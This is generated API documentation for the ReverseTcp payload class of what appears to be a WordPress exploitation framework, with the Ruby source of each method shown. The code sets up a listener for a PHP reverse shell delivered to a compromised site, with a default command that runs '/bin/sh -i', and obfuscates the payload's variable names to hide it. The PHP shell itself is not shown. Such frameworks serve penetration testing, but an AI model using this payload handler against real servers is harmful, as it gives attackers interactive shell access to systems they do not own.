Class: Wpxf::Payloads::ReverseTcp

Inherits:
Wpxf::Payload show all
Includes:
Wpxf, Options, SocketHelper
Defined in:
lib/wpxf/payloads/reverse_tcp.rb

Overview

A basic reverse TCP shell written in PHP.

Instance Attribute Summary

Attributes included from Options

#datastore, #options

Attributes inherited from Wpxf::Payload

#queued_commands

Instance Method Summary collapse

Methods included from SocketHelper

#execute_queued_commands, #start_socket_io_loop, #start_socket_read_loop, #start_socket_write_loop

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Wpxf::Payload

#check, #encoded, #enqueue_command, #escape_single_quotes, #generate_vars, #php_preamble, #random_var_name

Constructor Details

#initializeReverseTcp

Returns a new instance of ReverseTcp.



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 12

def initialize
  super

  register_options([
    StringOption.new(
      name: 'shell',
      required: true,
      default: 'uname -a; w; id; /bin/sh -i',
      desc: 'Shell command to run'
    ),
    StringOption.new(
      name: 'lhost',
      required: true,
      default: '',
      desc: 'The address of the host listening for a connection'
    ),
    PortOption.new(
      name: 'lport',
      required: true,
      default: 1234,
      desc: 'The port being used to listen for incoming connections'
    ),
    IntegerOption.new(
      name: 'chunk_size',
      required: true,
      default: 1400,
      desc: 'TCP chunk size'
    ),
    BooleanOption.new(
      name: 'listen_with_wpxf',
      default: true,
      required: true,
      desc: 'Listen for an incoming connection using WPXF'
    ),
    StringOption.new(
      name: 'bind_to_address',
      default: '0.0.0.0',
      required: true,
      desc: 'The address to bind to when listening for connections'
    )
  ])
end

Instance Method Details

#bind_to_addressObject



71
72
73
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 71

def bind_to_address
  normalized_option_value('bind_to_address')
end

#cleanupObject



146
147
148
149
150
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 146

def cleanup
  self.queued_commands = []
  @network_thread&.exit
  @server.close if @server && !@server.closed?
end

#client_connected(socket, event_emitter) ⇒ Object



97
98
99
100
101
102
103
104
105
106
107
108
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 97

def client_connected(socket, event_emitter)
  Wpxf.change_stdout_sync(true) do
    port, ip = Socket.unpack_sockaddr_in(socket.getpeername)
    event_emitter.emit_success "Connection established from #{ip}:#{port}"

    start_socket_io_loop(socket, event_emitter)
    socket.close
    @server.close
    puts
    event_emitter.emit_info "Closed reverse handler on port #{lport}"
  end
end

#constantsObject



75
76
77
78
79
80
81
82
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 75

def constants
  {
    'ip' => host,
    'port' => normalized_option_value('lport'),
    'chunk_size' => normalized_option_value('chunk_size'),
    'shell' => shell
  }
end

#hostObject



59
60
61
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 59

def host
  escape_single_quotes(datastore['lhost'])
end

#listen_with_wpxfObject



63
64
65
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 63

def listen_with_wpxf
  normalized_option_value('listen_with_wpxf')
end

#lportObject



67
68
69
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 67

def lport
  normalized_option_value('lport')
end

#obfuscated_variablesObject



84
85
86
87
88
89
90
91
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 84

def obfuscated_variables
  super +
    %w[
      ip port chunk_size write_a error_a shell pid sock
      errno shell pid sock errno errstr descriptor_spec
      process pipes read_a error_a num_changed_sockets input
    ]
end

#post_exploit(mod) ⇒ Object



128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 128

def post_exploit(mod)
  return true unless listen_with_wpxf

  if @session_started
    begin
      @network_thread&.join
    rescue SignalException
      puts
      mod.emit_warning 'Caught kill signal', true
    end

    return true
  else
    mod.emit_error 'A connection was not established'
    return false
  end
end

#prepare(mod) ⇒ Object



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 110

def prepare(mod)
  return true unless listen_with_wpxf

  begin
    @server = TCPServer.new(bind_to_address, lport)
  rescue StandardError => e
    mod.emit_error "Failed to start the TCP handler: #{e}"
    return false
  end

  mod.emit_success "Started reverse TCP handler on #{lport}"
  @network_thread = Thread.new do
    socket = @server.accept
    @session_started = true
    client_connected(socket, mod)
  end
end

#rawObject



93
94
95
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 93

def raw
  DataFile.new('php', 'reverse_tcp.php').php_content
end

#shellObject



55
56
57
# File 'lib/wpxf/payloads/reverse_tcp.rb', line 55

def shell
  escape_single_quotes(datastore['shell'])
end